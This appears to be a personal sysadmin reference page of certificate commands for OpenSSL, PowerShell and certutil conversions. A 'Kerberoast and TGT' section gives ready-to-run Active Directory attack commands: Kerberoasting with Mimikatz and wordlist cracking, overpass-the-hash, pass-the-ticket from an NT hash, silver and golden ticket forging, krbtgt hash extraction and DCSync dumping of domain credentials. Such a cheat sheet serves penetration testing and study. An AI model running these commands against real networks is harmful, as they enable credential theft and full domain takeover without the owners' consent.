Certificate - OsbornePro

OpenSSL Certificate Generation

Check Certificate Files

OpenSSL Conversion Commands

# Convert PEM to DER
openssl x509 -outform der -in certificate.pem -out certificate.der

# Convert PEM to P7B
openssl crl2pkcs7 -nocrl -certfile certificate.cer -out certificate.p7b -certfile CACert.cert

#Convert PEM to PFX
openssl pkcs12 -export -out certificate.pfx -inkey privateKey.key -in certificate.crt -certfile CACert.crt

# Convert PKCS #7 (P7B) and private key to PKCS #12 / PFX
openssl pkcs7 -print_certs -in certificate.p7b -out certificate.cer
openssl pkcs12 -export -in certificate.cer -inkey privateKey.key -out certificate.pfx -certfile CACert.cer

# Convert DER certificate file
openssl x509 -inform DER -in yourdomain.der -outform PEM -out yourdomain.crt

# Convert private key file
openssl rsa -inform DER -in yourdomain_key.der -outform PEM -out yourdomain.key

#Convert P7B to PEM
openssl pkcs7 -print_certs -in certificate.p7b -out certificate.cer

# Convert P7B to PFX
openssl pkcs7 -print_certs -in certificate.p7b -out certificate.cer
openssl pkcs12 -export -in certificate.cer -inkey privateKey.key -out certificate.pfx -certfile CACert.cer

Converting PKCS #12 / PFX to PKCS #7 (P7B) and private key
openssl pkcs12 -in certificate.pfx -out certificate.cer -nodes

# Extract PFX certificate file
openssl pkcs12 -in certificate.pfx -clcerts -nokeys -out certificate.cer -passin pass:"Password123!"

# Extract PFX private key file
openssl pkcs12 -in ertificate.pfx -nocerts -nodes -out certificate.cer -passin pass:"Password123!"

# Extract PFX Encrypted Private key file
openssl pkcs12 -in domain.pfx -nocerts -out enc.key
# Decrypt that key
openssl rsa -in enc.key -out key.key

# Extract PFX CA Chain
openssl pkcs12 -in yourdomain.pfx -cacerts -nokeys -chain -out cachain.pem -passin pass:"Password123!"

PowerShell Certificate Conversions

# Import PFX Certificate
Import-PfxCertificate -FilePath "C:\Temp\domain.pfx" -CertStoreLocation "Cert:\LocalMachine\My" -Confirm:$False -Password (ConvertTo-SecureString -String "Password123!" -AsPlainText -Force) -Exportable

# Public Certificate extraction method
$CertDestination = "$env:TEMP\cert.cer"
$Wc = Get-ChildItem -Path cert:\LocalMachine\My\$($Certificate.Thumbprint)
Export-Certificate -Cert $Wc -FilePath cert.cer -Type CERT -Force
# Convert to a Base64 format certificate file for DER format
Start-Process -FilePath "C:\Windows\System32\certutil.exe" -ArgumentList @("-f", "-encode", $CertDestination.Replace(".crt", ".cer"), $CertDestination) -Wait -WorkingDirectory "C:\Windows\System32" -NoNewWindow -Confirm:$False

# Combine Public Certificate and Private Key file into PFX (.cer and .key extensions are required and need to exist in the same directory)
certutil -MergePFX public-certificate.cer combined-certs.pfx

# Extract CA Chain from Certificate store
$CAR = Get-ChildItem -Path Cert:\LocalMachine\CA\$($CARoot.Thumbprint)
$InterCA = Get-ChildItem -Path Cert:\LocalMachine\CA\$($CAIntermediate.Thumbprint)
Export-Certificate -Cert $CAR -FilePath ca.cer -Type CERT -Force
Export-Certificate -Cert $InterCA -FilePath intermediate.cer -Type CERT -Force

# Convert Extracted Certs to Base64 Format
certutil -encode ca.cer ca.pem
certutil -encode intermediate.cer intermediate.pem

# Combine Above CA Certs into One File
Get-Content -Path ca.pem | Out-File -FilePath cachain.pem -Encoding utf8 -Force
Get-Content -Path intermediate.pem | Out-File -FilePath cachain.pem -Encoding utf8 -Append -Force

# Extracting the Full CA Chain from a PFX file
$AllCACerts = @()
$CADestination = $env:TEMP\root.pem"
$Chain = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Chain
$Chain.Build((Get-PfxCertificate -FilePath $PfxFilePath))
$Chain.ChainElements | ForEach-Object {

Export-Certificate -FilePath $CADestination -Cert $_.Certificate -Type CERT -Force | Out-Null
    Start-Process -FilePath "C:\Windows\System32\certutil.exe" -ArgumentList @("-f", "-encode", $CADestination.Replace(".crt", ".cer"), $CADestination) -Wait -WorkingDirectory "C:\Windows\System32" -NoNewWindow -Confirm:$False
    $AllCACerts += Get-Content -Path $CADestination -Force

}  # End ForEach-Object
Set-Content -Path $CADestination -Value $AllCACerts
Get-Content -Path $CADestination

# USE PSPKI MODULE FOR CERT EXTRACTIONS
$CertifyPath = "C:\ProgramData\Certify\assets\_.$env:USERDNSDOMAIN\"
$SecurePassword = ConvertTo-SecureString -String $String -Force –AsPlainText
# Extracting Certificate and Key into single file"
Convert-PfxToPem -InputFile domain.pfx -Outputfile ("$CertifyPath" + "key.pem") -Password (ConvertTo-SecureString -String "Password123!" -AsPlainText -Force)
# Separating certificate and key too separate files"
$FileContents = Get-Content -Path ("$CertifyPath" + "key.pem") -Raw
$FileContents -Match "(?ms)(\s*((?<privatekey>-----BEGIN PRIVATE KEY-----.*?-----END PRIVATE KEY-----)|(?<certificate>-----BEGIN CERTIFICATE-----.*?-----END CERTIFICATE-----))\s*){2}"
$Matches["privatekey"] | Out-File -FilePath "$Path\key.pem" -Force
$Matches["certificate"] | Out-File -FilePath "$Path\cert.pem" -Force

Certutil Certificate Conversions

Kerberoast and TGT

# KERBEROASTING
# Request a service ticket using SPN name
Add-Type -AssemblyName System.IdentityModel
New-Object -TypeName System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'HTTP/spn-name.osbornepro.com'

# Use Mimikatz to download above commands generated service ticket to disk
kerberos::list /export

# Use kerberoast apt package to attempt decrypting the ticket
python /usr/share/kerberoast/tgsrepcrack.py /usr/share/wordlists/rockyou.txt /var/ftp/1-40a50000-osbornepro@HTTP~spn-name.osbornepro.com-OSBORNEPRO.COM.kirbi

#----------------------------------------------
# OVERPASS THE HASH
# Obtain kerberos ticket without performing NTLM auth over the network
# This will open a new powershell session as the rosborne user
sekurlsa::pth /user:rosborne /domain:osbornepro.com /ntlm:theNTLMHash /run:PowerShell.exe

# Authenticate to a network share on a DC to generate a TGT
net use \\dc01

# List newly requested kerberos tickets. TGT and TGS are obtained for the CIFS service
klist

# Open cmd on DC01 as rosborne by reusing the kerberos TGT
.\psexec.exe \\dc01 cmd.exe

#----------------------------------------------
# PASS THE TICKET
# Create a Kerberos TGT using an NT hash
python3 getTGT.py -hashes aad3b435b51404eeaad3b435b51404ee:B65039D1C0359FA797F88FF06296118F osbornepro.com/rosborne
# Copy the ticket to /tmp/krb5cc_0
cp user.ccache /tmp/krb5cc_0
# Set the KRB5CCNAME environment variable to the ticket location
export KRB5CCNAME=/tmp/krb5cc_0

#----------------------------------------------
# SILVER TICKET METHOD
# Get User SID
$SID = ([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value

# Open Mimikatz Tool
mimikatz.exe
# Flush any existing kerberos tickets
kerberos::purge
kerberos::list

# Obtain Silver Ticket
kerberos::golden /user:rosborne /domain:osbornepro.com /sid:$SID /target:web.osbornepro.com /service:HTTP /rc4:<Password hash of iis service service account> /ptt
# /ptt injects this into memory
# A new service ticket for the SPN has been loaded into Memory. Mimikatz set appropriate group permissions in the forged ticket

#----------------------------------------------
# GOLD TICKET METHOD
# Extract the password of krbtgt with Mimikatz. This will need to be run on a domain controller
mimikatz.exe
lsadump::lsa /patch
# OR
lsadump::dcsync /user:krbtgt

# Creating the Golden Ticket and injecting it into memory does not require any admin privileges
mimikatz.exe
kerberos::purge
# Create the golden ticket
kerberos::golden /user:fakeuser /domain:osbornepro.com /sid:S-1-5... /krbtgt:<password hash> /ptt
# The UserID is set to 500 by default which is the RID of the Administrator for the domain
# The GroupID values are set by default to the most privileged groups in AD
# Access to remote computers requires the use of the computers hostname
# Using an IP Address will force NTLM authentication and not use the ticket

#----------------------------------------------
# DC SYNC METHOD
# Dump the password hashes of every account in the AD domain without logging in to a domain controller
mimikatz.exe
# Start replication, the /user option defines the target user to sync
lsadump::dcsync /user:Administrator
# OR
lsadump::dcsync /domain:osbornepro.com /user:rosborne

# PowerShell Function to Force Replication
Function Replicate-AllDomainController {
    (Get-ADDomainController -Filter *).Name | Foreach-Object {repadmin /syncall $_ (Get-ADDomain).DistinguishedName /e /A | Out-Null}
    Start-Sleep 10; Get-ADReplicationPartnerMetadata -Target "$env:USERDNSDOMAIN" -Scope Domain | Select-Object -Property Server, LastReplicationSuccess
}  # End Function

Replicate-AllDomainController

Certificate Commands Reference

OpenSSL Certificate Generation

Check Certificate Files

OpenSSL Conversion Commands

PowerShell Certificate Conversions

Certutil Certificate Conversions

Kerberoast and TGT

Site Links

Contact Info

Certificate Commands Reference

OpenSSL Certificate Generation

Check Certificate Files

OpenSSL Conversion Commands

PowerShell Certificate Conversions

Certutil Certificate Conversions

Kerberoast and TGT

Site Links

Contact Info

Subscribe to OsbornePro TV